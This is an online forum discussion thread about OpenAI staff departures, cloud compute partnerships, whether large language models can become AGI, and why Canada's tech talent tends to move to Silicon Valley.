But how many of those are ordered specifically for OpenAI, and are on order as a result of them to begin with? Do you think if we were in a parallel universe where OpenAI ended up partnering with Google or Amazon instead, the GPU shipments would look the same? I think they would reflect wherever OpenAI ended up doing all their compute showing a pretty similar lion's share.
Your claim was that people should care about compute based on what the provider has done in the AI space, but Microsoft was pretty far behind on that side until OpenAI - Google was really the only player in town. Should they have wanted GCP credits instead? Do you care about their AI results or the ex post facto GPU shipments?
Or, if what you actually want to argue is that Anthropic would be able to get more GPUs with Azure than AWS or GCP then this is a different argument which is going to require different evidence than raw GPU shipments.
The claim being implied was that Anthropic was in a better position because they had partnered with AWS versus Azure and thus they would have more access to GPU.
That isn't the case, at all. All I'm stating is what the chart clearly shows - Azure has invested deeply in this technology and at a rate that far exceeds AWS.
OpenAI most definitely needs the compute from MSFT. It could certainly swap out to another service but given that microsoft invested via credits it would be problematic. They have enmeshed their future.
How important are top science guys though? OpenAI has a thousand employees and almost unlimited money, and llm are better understood, I would guess continous development will beat singular genius heroes?
> OpenAI has a thousand employees and almost unlimited money
You could say the same about Google - and yet they missed the consequences of their own discovery and got behind instead of being leaders. So you need specific talent to pull this off even if in theory you can hire anybody.
I am just curious how it happened to Google? Like who were the product managers or others who didn't see an opportunity here exactly where the whole thing was invented and they had huge amounts of data already, whole web basically and the amount of video that no one else can ever hope to have?
I’m 100% positive lots of people at Google were chomping at the bit to productize LLMs early on.
But the reality is, LLMs are a cannibalization threat to Search. And the Search Monopoly is the core money making engine of the entire company.
Classic innovators dilemma. No fat-and-happy corporate executive would ever say yes to putting lots of resources behind something risky that might also kill the golden goose.
The only time that happens at a big established company, is when driven by some iconoclastic founder. And Google’s founders have been MIA for over a decade.
Golden goose is already being hoisted upon a spit — and your company is not even going to get even drippings of the fat. I am surprised by the short-sightedness of execs.
I don’t work there, I’ve just worked for lots of big orgs — they are all the same. Any claimed uniqueness in “Organizational structure” and “culture” are just window dressing around good ol’ human nature.
It’s not short sightedness, it’s rational self-interest. The rewards for taking risk as employee #20,768 in a large company are minimal, whereas the downside can be catastrophic for your career & personal life.
I think the discovery of the power of the LLM was almost stumbled upon at OpenAI, they certainly didn't set out initially with the goal of creating them. Afaik they had one guy who was doing a project of creating an LLM with amazon review text data and only off the back of playing around with that did they realise its potential
Data volume isn't that important, that's becoming clearer now. What OpenAI did was paid for a bunch of good labelled data. I'm convinced that's basically the differentiator. It's not a academic or fundamental thing to do which is why google didn't do it, it's a pure practical product thing.
A lot of it was the unwillingness to take risk. LLMs were, and still are, hard to control, in terms of making sure they give correct and reliable answers, making sure they don't say inappropriate things that hurt your brand. When you're the stable leader you don't want to tank your reputation, which makes LLMs difficult to put out there. It's almost good for Google that OpenAI broke this ground for them and made people accepting of this imperfect technology.
Difficult to quantify but as an example the 2017 scientific paper “Attention is all you need” changed the entire AI field dramatically. Without these landmark achievements delivered by highly skilled scientists, OpenAI wouldn’t exist or only be severely limited.
And ironically even the authors did not fully grasp at the time the paper importance. Reminds me of when Larry Page and Sergey Brin, tried to sell Google for $1 million ...
If your view is that LLMs only need minor improvements to their core technology and that the major engineering focus should be placed on productizing them, then losing a bunch of scientists might not be seen as that big of a deal.
But if your view is that they still need to overcome significant milestones to really unlock their value... then this is a pretty big loss.
I suppose there's a third view, which is: LLMs still need to overcome significant hurdles, but solutions to those hurdles are a decade or more away. So it's best to productize now, establish some positive cashflow and then re-engage with R&D when it becomes cheaper in the future and/or just wait for other people to solve the hard problems.
I would guess the dominant view of the industry right now is #1 or #3.
Agreed - it's good to have some far thinking innovation but really that can be acquired as needed so you really just need a few people with their pulse on innovation which there will always be more of outside a given company than within it.
Right now it's all about reducing transaction costs, small-i innovating, onboarding integrations, maintaining customer and stakeholder trust, getting content, managing stakeholders, and selling.
Will they though? Last I heard OpenAI isn't profitable, and I don't know if it's safe to assume they every will be.
People keep saying that LLMs are an existential threat to search, but I'm not so sure. I did a quick search (didn't verify in any way if this is a feasible number) to find that Google on average makes about 30 cents in revenue per query. They make a good profit on that because processing the query costs them almost nothing.
But if processing a query takes multiple seconds on a high-end GPU, is that still a profitable model? How can they increase revenue per query? A subscription model can do that, but I'd argue that a paywalled service immediately means they're not a threat to traditional ad-supported search engines.
> When the next wave of new deep learning innovations sweeps the world,
that won't happen, the next scam will be different
it was crypto until FTX collapsed then the usual suspects led by a16z leaned on OpenAI to rush whatever they had on market hence the odd naming of ChatGPT 3.5.
When the hype is finally realized to be just mass printing bullshit -- relevant bullshit, yes, which sometimes can be useful but not billions of dollars of useful -- there will be something else.
Crypto currencies has the potential to grow the world economy by about 1-3%, as banking fees go down. Add other uses of crypto may double or triple that, but that's really speculative.
AI, on the other hand, has a near infinite potential. It's conceivable that it will grow the global economy by 2% OR MORE per MONTH for decades or more.
AI is going to be much more impactful than the internet. Probably more than internal combustion, the steam engine and electricity combined.
The question is about the timescale. It could take 2 years before it really starts to generate profits, or it could take 10 or even more.
>Crypto currencies has the potential to grow the world economy by about 1-3%, as banking fees go down.
Bank fees don't disappear into the ether when they're collected, so I doubt they have this much affect.
Oh, made my very first retail purchase with Bitcoin the other day. While the process was pretty slick and easy, the network charged $15.00 in fees. Long way to go until "free".
> Bank fees don't disappear into the ether when they're collected, so I doubt they have this much affect.
1-3% was intended as a ceiling for what cryptocurrency could bring to the economy, after adjusting for the reduction in inflation once those costs are gone.
He's saying the fees aren't burned like with mining, so they don't hurt the economy by the amount of the fee: the profit portion of them goes into other investments. The fees hinder parts of the economy making some transactions nonviable, but they don't fully translate to "friction" making waste heat so much as something more adiabatic that goes back in. It's largely an extraneous spring in the system, not a damper.
I agree with you on the AI point, but with crypto not all is what it seems.
Yes you may have short term growth, this is solely due to there being less regulation.
Despite what many people think regulation is a good thing, put in place to avoid the excesses that lead to lost livelihoods. It stops whales from exploiting the poor, provides tools for central banks to try avoid depressions.
Costs wise, banks acting as trust authorities actually can theoretically be cheaper too.
Do you have a source for any of these numbers or is this just your speculation? I haven’t seen any estimates from well-known institutions that reference any of the numbers your are pointing to.
All crypto"currencies" with a transaction fee are negative sum games and as such , they are a scam. It's been nine years since the Washington Post admittedly somewhat clumsily but still drawn attention to this and people still insist it's something other than a scam. Despite heady articles about how it's going to solve world hunger, it's just a scam.
This round of AI is only capable of producing bullshit. Relevant bullshit but bullshit. This can be useful https://hachyderm.io/@inthehands/112006855076082650 but it doesn't mean it's more impactful than the Internet.
I agree, 1-3% was a best case. While I agree it's a net zero, even those who argue for it really don't claim much more than a couple of %.
I actually expected objections on the opposite direction. But then, this is not twitter/X.
The point is that something that can easily generate 20%-100% growth per year (AGI/ASI) is so much more important that the best case prediction for crypto's effect on the economy are not even noticeable.
That's why comparing the crypto bubble to AI is so meaningless. Crypto was NEVER* going to be something hugely important, while AI is potentially almost limitless.
*If crypto had anything to offer at all, it would be ways to avoid fees, taxes and the ability to trace transactions.
The thing is, if crypto at any point seriously threatens to replace traditional currencies as stores of value in the US or EU, it will be banned instantly. Simply because it would make it impossible for governments to run budget deficits, prevent tax evasion and sever other things that governments care about.
What you call "AI" is generally named AGI. LLM's are alredy a kind of AI, not just generic enough to fully replace all humans.
We don't know if full AGI can be built using just current technology (like transformers) given enough scale, or if 1 or more fundamental breakthroughs are needed beyond just the scale.
My hypothesis has always been that AGI will arrive roughly when the compute power and model size matches the human brain. That means models of about 100 trillion params, which is not that far away now.
Actually, we really don't. When GPT-3.5 was released, it was a massive surprise to many, exactly because they didn't believe simply scaling up transformers wouldn't end up with something like that.
Now using transformers doesn't mean they have to be assembled like LLM's. There are other ways to stich them together to solve a lot of other problems.
We may very well have the basic types of lego pieces needed to build AGI. We won't know until we try to build all the brain's capacities into a model of size of a few 100 trillion parameters.
And if we actually lack some types of pieces, they may even be available by then.
Yeah, I think him leaving was a huge blow to OpenAI that they have maybe not yet recovered from. Clearly there is no moat to transformer-based LLM development (other than money), but in terms of pace of development (insight as to what is important) I think Anthropic have the edge, although Reka are also storming ahead at impressive pace.
Resignations lead to more resignations....unless mgmt. can get on top of it and remedy it quickly, which rarely happens. I've seen it happen way too many times working 25 years in tech.
You need to think about OpenAI specifically - Ilya basically attempted a coup last year and failed, stayed in the company for months afterwards, according to rumours had limited contributions to the breakthroughs in research and was assigned to lead the most wishy-washy project of superalignment.
I’m not seeing “the good ones” leaving in this case.
Seriously asking; I've purchased a GitHub CoPilot license subscription but I don't know what their sales numbers are doing on AI in general. It's to be seen if it can be made more cost-efficient to deliver to consumers.
Because Tesla is. Unlike the traditional automakers that have no room of growth and in a perpetual stagnation, Tesla has potential being a partially automative and partially tech industry. They can even have their own mobile phones if they want to. Or robots and stuff.
What Mercedes, Porsche, Audi can do aside continue to produce the cars over and over again until they are overtaken by somebody else? Hell, both EU and USA need tariffs to compete with chinese automakers.
Not quite. Tesla has a high valuation mostly because traditional auto carries an enormous amount of debt on their balance sheets. I think Tesla is one economic downturn in a high interest rate environment from meeting the same fate. Once an auto company is loaded with debt, they get stuck in a low margin cycle where the little profit they make has to go into new debt for retooling and factories. Tesla is very much still coasting from zero interest rate free VC money times.
I am sorry, there must be some hidden tech, some completely different attempt to speak about AGI.
I really, really doubt that transformers will become AGI. Maybe I am wrong, I am no expert in this field, but I would love to understand the reasoning behind this "could arrive this year", because it reminds me about coldfusion :X
edit: maybe the term has changed again. AGI to me means truly understanding, maybe even some kind of consciousness, but not just probability... when I explain something, I have understood it. It's not that I have soaked up so many books that I can just use a probabilistic function to "guess" which word should come next.
Don't worry, these are the "keeping the bridge intact" speak of people leaving a glorious or so workplace. I have worked at several places, and when people left(usually most well paid ones), they post linkedin/twitter posts to say kudos and inspire that, the corresponding business will be in forefront of the particular niche this year or soon and they would like to be proud of ever being part of it.
Also, when they speak about AGI, it raises their(person leaving) marketing value as someone else already know they are brilliant to have worked at something cool and they might also know some secret sauce, which could be acquired at lower cost by hiring them immediately[1]. I have seen these kinds of speak play out too many times. Last January, one of the senior engineers from my current work place in aviation left citing about something super secret coming this year or soon, and they immediately got hired by a competitor with generous pay to work on that said topic.
> Also, when they speak about AGI, it raises their(person leaving) marketing value
Why yes, of course Jan Leike just impromptu resigned and Daniel Kokotajlo just gave up 85% of his wealth in order not to sign a resignation NDA to do what you're describing...
While he'll be giving up a lot of wealth, it's unlikely that any meaningful NDA will be applied here. Maybe for products, but definitely not for their research.
There's very few people who can lead in frontier AI research domains - maybe a few dozen worldwide - and there are many active research niches. Applying an NDA to a very senior researcher would be such a massive net-negative for the industry, that it'd be a net-negative for the applying organisation too.
I could see some kind of product-based NDA, like "don't discuss the target release dates for the new models", but "stop working on your field of research" isn't going to happen.
Kokotajlo: “To clarify: I did sign something when I joined the company, so I'm still not completely free to speak (still under confidentiality obligations). But I didn't take on any additional obligations when I left.
Unclear how to value the equity I gave up, but it probably would have been about 85% of my family's net worth at least.
Basically I wanted to retain my ability to criticize the company in the future.“
> but "stop working on your field of research" isn't going to happen.
We’re talking about NDA, obviously no-competes aren’t legal in CA
> Unclear how to value the equity I gave up, but it probably would have been about 85% of my family's net worth at least.
Percentages are nice, but with money and wealth absolute numbers are already important enough. You can leave a very, very good life even if you are losing 85% if the remaining 15% is USD $1M. And if not signing that NDA will help you landing another richly paying job + freedom to say whatever you feel it's important saying.
> truly understanding… when I explain something, I have understood it
When you have that feeling of understanding, it is important to recognize that it is a feeling.
We hope it’s correlated with some kind of ability to reason, but at the end of the day, you can have the ability to reason about things without realising it, and you can feel that you understand something and be wrong.
It’s not clear to me why this feeling would be necessary for superhuman-level general performance. Nor is it clear to me that a feeling of understanding isn’t what being an excellent token predictor feels like from the inside.
If it walks and talks like an AGI, at some point, don’t we have to concede it may be an AGI?
No I’m with you on this. Next token prediction does lead to impressive emergent phenomena. But what makes people people is an internal drive to attend to our needs, and an LLM exists without that.
A real AGI should be something you can drop in to a humanoid robot and it would basically live as an individual, learning from every moment and every day, growing and changing with time.
LLMs can’t even count the number of letters in a sentence.
>LLMs can’t even count the number of letters in a sentence.
It's a consequence of tokenization. They "see" the world through tokens, and tokenization rules depend on the specific middleware you're using. It's like making someone blind and then claiming they are not intelligent because they can't tell red from green. That's just how they perceive the world and tells nothing about intelligence.
I counted very quickly but 78? I learned arabic in kindergarten, im not sure what your point was. There are arabic spelling bees and an alphabet song just like english
The comment you replied to was saying LLMs trained on english cant count letters in english
LLMs aren't trained in English with the same granularity that you and I are.
So my analogy here stands : OP was trained in "reading human language" with Roman letters as the basis of his understanding, and it would be a significant challenge (fairly unrelated to intelligence level) for OP to be able to parse an Arabic sentence of the same meaning.
Or:
You learned Arabic, great (it's the next language I want to learn so I'm envious!). But from the LLM point of view, should you be considered intelligent if you can count Arabic letters but not Arabic tokens in that sentence?
Yes, it sees tokens. Asking it to count letters is a little bit like asking that of someone who never learned to read/write and only learned language through speech.
From that AGI definition, AGI is probably quite possible and reachable - but also something pointless which there are no good reasons to "use", and many good reasons not to.
This paper and other similar works changed my opinion on that quite a bit. It shows that to perform text prediction, LLMs build complex internal models.
> maybe the term has changed again. AGI to me means truly understanding, maybe even some kind of consciousness, but not just probability... when I explain something, I have understood it.
The term, and indeed each initial, means different things to different people.
To me, even InstructGPT manages to be a "general" AI, so it counts as AGI — much to the confusion and upset of many like you who think the term requires consciousness, and others who want it to be superhuman in quality.
I would also absolutely agree LLMs are not at all human-like. I don't know if they do or don't need the various missing parts in order to be in order to change the world into a jobless (u/dis)topia.
I also don't have any reason to be for or against any claim about consciousness, given that word also has a broad range of definitions to choose between.
I expect at least one more breakthrough architecture on the scale of Transformers before we get all the missing bits from human cognition, even without "consciousness".
Yeah, that's the part I don't understand though - do I understand it? Or do I just think I understand it. How do I know that I am not probabilistic also?
Synthesis is the only thing that comes to mind as a differentiator between me and an LLM.
- A possibility to fact-check the text, for example by the Wolfram math engine or by giving internet access
- Something like an instinct to fight for life (seems dangerous)
- some more subsystems: let's have a look a the brain: there's the amygdala, the cerebellum, the hippocampus, and so on, and there must be some evolutionary need for these parts
AGI can’t be defined as autocomplete with fact checker and instinct to survive, there’s so so so much more hidden in that “subsystems point”. At least if we go by Bostroms definition…
As something of a (biased) expert: yes, it’s a big deal, and yes, this seemingly dumb breakthrough was the last missing piece. It takes a few dozen hours of philosophy to show why your brain is also composed of recursive structures of probabilistic machines, so forget that, it’s not neccesary, instead, take a glance at these two links:
> Alan Turing on why we should never ever perform a Turing test
Can you cite specifically what in the paper you're basing that on? I skimmed it as well as the Wikipedia summary but I didn't see anywhere that Turing said that the imitation game should not be played.
I was definitely being a bit facetious for emphasis, but he says a few times that the original question — “Can machines think?” - is meaningless, and the imitation game question is solved in its very posing. As a computer scientist he was of course worried about theoretical limits, and he intended the game in that vein. In that context he sees the answer as trivial: yes, a good enough computer will be able to mimic human behavior.
The essay’s structure is as follows:
1. Propose theoretical question about computer behavior.
2. Describe computers as formal automata.
3. Assert that automata are obviously general enough to satisfy the theoretical question — with good enough programming and enough power.
4. Dismiss objections, of which “humans might be telepathic” was somewhat absurdly the only one left standing.
It’s not a very clearly organized paper IMO, and the fun description of the game leads people to think he’s proposing that. That’s just the premise, and the pressing conclusion he derives from it is simple: spending energy on this question is meaningless, because it’s either intractable or solved depending on your approach (logical and empirical, respectively).
TL;DR: the whole essay revolves around this quote, judge for yourself:
We may now consider the ground to have been cleared and we are ready to proceed to the debate on our question, "Can machines think?" and the variant of it quoted at the end of the last section… ["Are there discrete-state machines which would do in the Imitation Game?"]
It will simplify matters for the reader if I explain first my own beliefs in the matter.
Consider first the more accurate form of the question. I believe that in about fifty years' time it will be possible, to programme computers, with a storage capacity of about 109, to make them play the imitation game so well that an average interrogator will not have more than 70 per cent chance of making the right identification after five minutes of questioning.
The original question, "Can machines think?" I believe to be too meaningless to deserve discussion. Nevertheless I believe that at the end of the century the use of words and general educated opinion will have altered so much that one will be able to speak of machines thinking without expecting to be contradicted.
Relying on specific people was never a good strategy, people will change but this will be a good test of their crazy governance structure. I think of it similar to political systems - if it can't withstand someone fully malicious getting in power then it's not a good system
They can probably sum it up in their own paper better than I can, but AIXI was supposed to be a formalized, objective model of rationality. They knew from the start that it was uncomputable, but I think they hoped to use it as a sort of gold standard that you could approach.
But then it turned out that the choice of Turing machine, which can be (mostly) ignored for Kolmogorov complexity, can not be ignored in AIXI at all.
When walking around the U of Toronto, I often think that ~10 years ago Ilya was in a lab next to Alex trying to figure things out. I can't believe this new AI wave started there. Ilya, Karpathy, Jimmy Ba, and many more were at the right time when Hinton was there too.
Oh man that was an amazing time at UoT. We also got GPU versions of btc mining from that group.
We also had Ethereum be born right around there as well around 2014. I remember the first Ethereum meetups around Queen and Spadina with Vitalik.
But to another posters point. Even though we had the father of deep learning Geoffrey Hinton and lumiaries like Ilya, and Vitalik, we didn't manage to get any real benefit from that.
Wow! By the time I arrived, Hinton was gone. As well as many great professors that started their own companies or were poached by big players (i.e. Sanja-Nvidia). At least I got to learn NN from Jimmy Ba (author of Adam). Now, he's working at xAI.
I've thought about this one for a long time having lived in both SV and Canada. It is a complicated one but there are a handful of critical road blocks in Canada that make it more challenging.
(1) Access to size of market even if online being US vs 'foreign' has advantages in political arena/regulatory benefits
(2) Significant tax advantages for US investors vs limited tax advantages for Canada (Angel+VC)
(3) Risk Appetite (impacted by size of market) - compounded by tax disadvantages (why would you take risk if your lining the pockets of the government?)
(4) Bench depth on talent once you really start to scale your company
(5) CAD strength (double edged sword) - talent goes South for better salaries (+ you need to compete), if the company revenue is in USD and employees are paid in CAD
(6) Start-ups paying in equity, early employees taking on that risk actually will get taxed heavily under new cap gains so the incentive to work hard for money is lower.
(7) Network effects of being in the valley - idea percolation, new playbooks, talent, competitiveness, company fitness
I will add that in this very specific AI case there is limited way you are going to find the depth of talent and capital in the country to make that company fly at the scale it needs to be.
if the idea that high taxes disincentivizes people from building stuff, california would be a wasteland.
but that's not what we see. people build because they still have a chance a making a lot of money.
also, like canada can build successfully tech companies. yes, I realize there should be more canadian tech darlings, but I don't think it has to do with high taxes so much as it has to do with Canadians being comfortable and not feeling the need to sacrifice everything to try and build the biggest thing.
If you look at Canada's most successful tech companies, the founders usually sell and enjoy a more comfortable existence.
Taxs on investors are quite high in Ontario/Canada compared to California. Not only does this minimize the outcome for the investor - it decreases the risk for making larger bets on big outcomes. In terms of exits -- you have a smaller playing field and fewer buyers being based in Canada vs USA. All the things add up to make a smaller opportunity for investors and builders and you work harder to pay more taxes to the government.
In terms for your ambition argument -- that could be an inherent problem in Canadian culture that no one wants to change the status quo - it is definitely a different culture than SV. The largest city is captured by financial industry for the most part which doesn't bode well for innovation.
I think it has much more to do with investors' sentiments. Canadian entrepreneurs are not comfortable; that's why they move to the US. But that's not because they don't like Canada. Moving is a big sacrifice -- they move away from their home and community, and also deal with the headache and uncertainty of US immigration. The ones I talk to who have moved down south, they miss Canada and didn't want to leave, but they didn't feel like they'd be able to afford the cost of living in Canada, and didn't think they could launch a successful startup there.
And the cost of living is going up, which is going to make even more talented Canadians uncomfortable. These days if you ever hope to own a house, you basically can't go the stable 9-to-5 route.
If investors in Canada were throwing hundreds of millions into moonshot startups the way that they do in Silicon Valley, probably most Canadian entrepreneurs would build those companies at home. But the investment landscape is such that the investors who have that much money opt to lever up on real estate instead.
The point was about high taxes for investors not employees.
How many money does OpenAI _directly_ pay to CA in taxes? Sure the employees pay a ton in taxes but as an investor if you're going to lose more in taxes by investing into a Canadian company vs a California company then you invest into CA.
California benefits from a dominant market position. If you have the choice to found where the investors and the talent are, why would you pick Canada when the tax is the same?
Why would anyone start the game on hard mode when easy mode is a border drive away?
Us is so outrageously better than the rest that people fly across oceans to start businesses there. Canada, being next door, doesn't have the distance moat to at least slow down the brain drain
With regards to talent, there's no particular reason why software centers couldn't be in any major established city in the world. It's not like it takes billions of dollars on a highly uncertain bet like creating a car company, rocket reuse company, or a CPU company.
A small crew of people could potentially build the next WhatsApp. On Erlang.
There are definitely many good programmers all over the world, but there are more in the US, because that's where all the best companies are. So if you're trying to make a good company and you want good programmers, where do you go?
In the case of AI it absolutely does take billions and billions of dollars on an uncertain bet. They bet that throwing more data, more hardware, more GPU cycles at the problem would yield results and it has.
That statement applies to most industries. Tons of areas have the potential for an industry boom, but silicon Valley in is California. Or semi conductors are in Taiwan.
For many reasons, only some areas succeed whilst the rest fail. In this case, Canada doesn't have silicon valley, nor do they have a high amount of start ups.
As another Canadian, I feel the same but I'm not surprised one bit.
Canada is actively hostile towards tech and suffers from crippling salaries and investments. The idea of "business" in this country is buying a house and renting its basement.
Our government's incompetence is comical, we are nothing but more than a tech talent / immigration proxy for United States at this point.
I don't know, Canada and every-other-country-that's-not-the-US. When there's a neighbor that is flush with cash, where make-or-break is a kind of national disease ... what can you do?
FWIW, Israel and China are the other two hotspots for building startups. It’s worth looking at how Israel did it since their model could work elsewhere. For example they have a government funded delegation that goes around to conferences solely to meet with large companies and investors and promote Israeli startups.
The Canadian Dream is to get a great education and then move of the US.
You might want to blame the government or this or that but I think as a Canadian I've finally come to reckon with the fact that it's just not in the Canadian ethos to do risky things like make startups. Of course there are exceptions to the rule but they are very very rare. Canadian investors don't want to take big risks and the Americans are just next door waiting to gobble up the talent in search of capital.
For folks without responsibilities like kids, aging parents, etc. I really don’t think startups are very “risky”.
What’s the worst that happens? It doesn’t work out and after five years you go get a job in boring corp corp with an incredible skillset and vast life experience.
You’ve sacrificed some income perhaps, but so what? People make choices like that all the time. Your working career could easily be 40 or 45 years, 5 is not that much and it’s not like you went bankrupt. Your skillset might even mean you more than make up for lost time.
I don’t understand the talk of “risk” unless you’re Elon Musk betting the farm on your businesses and facing bankruptcy.
Work in your spare time until you have something Angel worthy, then get a modest salary to get to the next level and on you go. Or just bootstrap.
Is it easy? No, it’s the hardest thing you’ll ever do. Is it risky? Not so much.
So why do Canadians and Brits see it as a risky thing to do? I think they don’t. What they see is _uncertainty_ - where will I be in six months? What if it doesn’t work out? What if I fail and people judge me? They don’t like uncertainty. That is conservative with a small c. Probably it’s a cultural artefact rather than anything remotely rational. The problem is you end up in an equilibrium where the society is conservative (“what you wanna do wasting your time with that”) so the ambitious people just leave and go to somewhere like (parts of) the US where people want to change things, make things, improve the world. And the conservative society gets more conservative until it is ossified.
Startups carry high uncertainty but not high risk.
There are countries where the business culture makes you unemployable and almost impossible for you to get a loan for the rest of your live if you have ever failed a business (bad enough). Many countries aren't as open to failure as the US.
This depends on what you see as risk. If I can safely earn for 5 years way above national average and build a strong savings egg that can provide income forever.
Or I can fail at a startup and be close to zero five years later, the fact that you aren't homeless and starving and can get another job doesn't mean it wasn't risky, you still wasted a bunch of years compared to slow and steady accumulation.
I've read the majority of millionaires in the US get created like this, working and saving through decades.
You're basically repeating investor kool-aid, because for their model to work, 100 people will fail and 1 succeed, and so they tell you to not worry if you're in the 99.
Of course you could probably say at least some of the same things about grad degrees that may not really translate into appreciable different/better career outcomes. Of course some say exactly that, especially about PhDs.
Yes, you might waste five years (in your words) of income. But that is not a "risk".
A "risk" for me is "this could all go badly wrong". Not having an extra five years of savings is just a fairly straightforward consequence. It's predictably going to happen, I can decide if I want it.
Real risk is "something can go catastrophically wrong". If say you've taken out a huge bank loan to fund the business and you have to declare bankruptcy if it fails, now _that_ is a risk. But nearly every founder I've ever met has taken nothing like that risk.
That's my point, startups are not risky in that sense, for most people, most of the time. It's kinda strange that so many people think they are.
The increased cost of living in the last few years has changed this somewhat. That 5 years of lower earnings now means less nice groceries, fewer holidays and being under the yoke of landlords for considerably longer.
I can't speak for Canada and I may be a wrong, but it seems to me harder to loan money for business than in NA. Banks are the ones that don't want to take risks, not necessarily the people with ideas.
Also failures aren't considered the same in every job market.
Turns out there’s only enough people with this mindset to fill a couple hubs around the world. The rest prefers less volatility and happily takes on less downside risk for capped reward and/or less upside risk.
Canada is addicted to rent seeking, monopoly businesses, corporations that push regulatory capture on the gov't and then parasitize, and -- most of all -- ripping resources out of the ground and selling them cheap, or doing the same with real estate.
My latest annoyance is all the moaning and groaning about the latest capital gains tax increase. People complaining on one hand about how the Canadian economy lacks productivity, and then screaming to high heaven about tax policy that mostly only impacts people making quick speculative cash.
Investment takes no risks in this country because they don't have to. They just dump money into real estate or oil & gas instead and then hang at the lake in the Muskokas.
As much as people on this site like to complain about Europe (and a lot of it is merited) - I've found that Canada manages to be worse. Even having lower on avg bureaucracy
SRED is basically a subsidy for companies that do your SRED paperwork for you, not the company doing the engineering itself. There's a whole industry of this.
No evidence that SRED has done anything ever for actual R&D. I've seen people get SRED for making web pages in JavaScript&HTML. When I had to fill in the SRED stuff it was ridiculous. Someone doing actual innovation would throw their hands up in the air.
Not true. I've done SRED every year for the past ~7 years. It is work, but there are specialized consultants that do most of it. If the work is truly R&D (which would be the case for a cutting-edge AI company) and you track your work in JIRA or something like that, then it's mostly just writing a few pages describing the efforts.
It's also like pulling teeth trying to explain to people that if we don't offer compensation commensurate with what they get in the US people will just leave for the US.
There is some form of brain damage where even people who know how to code assume that because you can get a crud developer for $80k a year you should get an AI researcher for $150,000. It's nearly double after all.
There is a vast underestimation of how tedious & time-intensive these tax credit programs are when applying for them. A large company can do so because they can hire the people to solely go after them; A new startup (with a headcount that can fit in one hand) is too busy in actually keeping the business alive to pursue these programs, which often times come with conditions too arbitrary for startups to fulfill.
Yeah Canada just spends a ton of taxpayer money to create great institutions like U of T and Waterloo, so that their graduates can all go to Silicon Valley and make 2-3x the money.
Maybe the majority of Canadians think that having great higher education institutions and thr people who work in them is a good fit for their way of life, but having Silicon Valley companies and people making SV salaries around epuld make their lives worse? If so, this is great: Canadians don't want to live with the tech crowd, so they provide them with the skills so they can move elsewhere, make their dreams come tuee, and not bother the majority that don't want their presence.
NB some actual Canadians in this thread have voiced this possibility.
That makes zero sense, governments invest in education to improve their own country, not to train other countries work forces. If you read anything about Canada ever you will also know they have a bunch of policies to try and stop the brain drain and to recruit tech workers from abroad.
> That makes zero sense, governments invest in education to improve their own country
The idea is precisely that not having SV types around _improves_ the country, i.e. makes it closer to the preferences of Canadians.
And yes, having a foreign tech worker doing 9-to-5 in a large legacy company for thoroughly average salaries is very different from having a SV-style startup culture. There is very little process in Canada to make life difficult for the former style of company, and plenty of process to make operations difficult for the latter.
If not having SV folk improves Canada for Canadians, and hqving SV folks improves America for Americans, then this is just mutually beneficial trade. Efforts to try and stop brain drain still makes sense: it's even better if you can convince the citizens you trained to engage in the economic activity you actually want instead of economic activity that you find undesirable, but if you're unable to convince most of them, letting them go is still better than having them stay and engage in their undesirable behavior anyway.
Compare: if a large minority of Icelanders wanted to work for the Baby (which Iceland doesn't have), theb stopping the brain drain (convincing them to work in the Merchant Fleet) is the best outcome, but funneling them out (training them in merchant navigation and watching them join the Danish Navy) would still be preferable to them engaging in their desired behavior anyway (form their own pirate gang preying on the very Merchant Fleet you're trying to advantage).
> And yes, having a foreign tech worker doing 9-to-5 in a large legacy company for thoroughly average salaries is very different from having a SV-style startup culture
Immigrants coming into countries start companies at a disproportionate rate compared to natives.
Other than unquantifiable statements about what "Canadians want" everything you mentioned so far to justify this idea of "canada doesnt care if tech graduates leave" is falsifiable by data.
One last time, the claim is not that "Canada doesn't care". It's that it prefers it to the alternative of SV-style companies operating from Canada. Which is consistent both with data, facts on the ground (yes, Canada has laws and administrative processes designed to make SV-style startups difficult to start there, that's precisely what people complain about above!), and the comments of actual Canadians in this very thread.
You're welcome to present data falsifying the actual claim if you think you have it (instead of the "Canada doesn't care" straw man or misunderstanding that you repeat above, noting that so far you have not even refuted your own straw man by presenting any data).
> Maybe the majority of Canadians think that (...) having Silicon Valley companies and people making SV salaries around epuld (sic) make their lives worse
This is your claim that I engaged with. If your claim is true it literally means that Canadians do not care if those people leave, in fact they would prefer it. My argument is that you're wrong and Canada and it's people would rather have more tech workers and more tech companies.
I don't believe I'm misunderstanding so I think we should probably both give up at this point.
The problem is that Canada is basically a european country on the american continent - SV is possible in a place where you can have risk and reward. But also you might lose everything. In Canada, it is hard to become rich - so no worth trying, there is also less risk due to better social security and the base level is pretty decent. Would not be surprised if there are tons of regulations in Canada too (more than in USA).
There is a reason why there are not many startups in Europe - if you can have a decent life, secure job and a nice social security - no worth playing risky games. I would not be surprised if just sheer layoffs in USA led to more startups than in the whole Europe.
I don't tuink it implies that they don't care, it only implies that they find it preferable to one certain alternative (staying AND turning Vancouver into north-SF; the conjunction is load-bearing), and I think this much looks true and well-supported by the facts and revealed preferences. They're not willing to change the rules and procedures that people complain about here, and if you propose they do so, as many have, they say no to that explicitly.
But I agree that we should probably disengage, so (barring exceptional new insights on my end) will leave this as my last post in the thread. Thanks for the chat.
> Compare: if a large minority of Icelanders wanted to work for the Baby (which Iceland doesn't have), theb stopping the brain drain (convincing them to work in the Merchant Fleet) is the best outcome, but funneling them out (training them in merchant navigation and watching them join the Danish Navy) would still be preferable to them engaging in their desired behavior anyway (form their own pirate gang preying on the very Merchant Fleet you're trying to advantage).
I read this as if you'd be concerned of Canadians using their tech skills run malware groups, if Canada wouldn't let them leave and join SV companies.
I see why you'd read it that way, but it's meant as a metaphor, not an analogy, to help elucidate that a government may take steps to try and bring about their preferred outcome of retaining people, while not bringing about what is, from their perspective, even more undesirable outcome.
It's not perfect, but neither is anything else I couls.come up with. Take the following:
- Persia would prefer many trained accountants so that PersianAccountants, the shah's preferred supplier of accounting technology, can hire cheaply from a large talent pool.
- Ambitious, trained accountants leave for the U.S. to work on DisruptiveAccounting.io, earning big bucks and disrupting the U.S. accounting sector.
- If Persia changes the kingdom's procedures and incentives, the same accountants would stay and found DisruptiveAccounting East, instead of working for PersianAccountants. This would be strictly worse for the shah than letting them leave.
The problem is, if I were to use this metaphor, people would get hung up on the difference between democracy and monarchy (preferences of one autocrat vs. that of the majority) and most Americans just straught up do not understand why anybody, much less the majority, would prefer not disrupting the accounting sector.
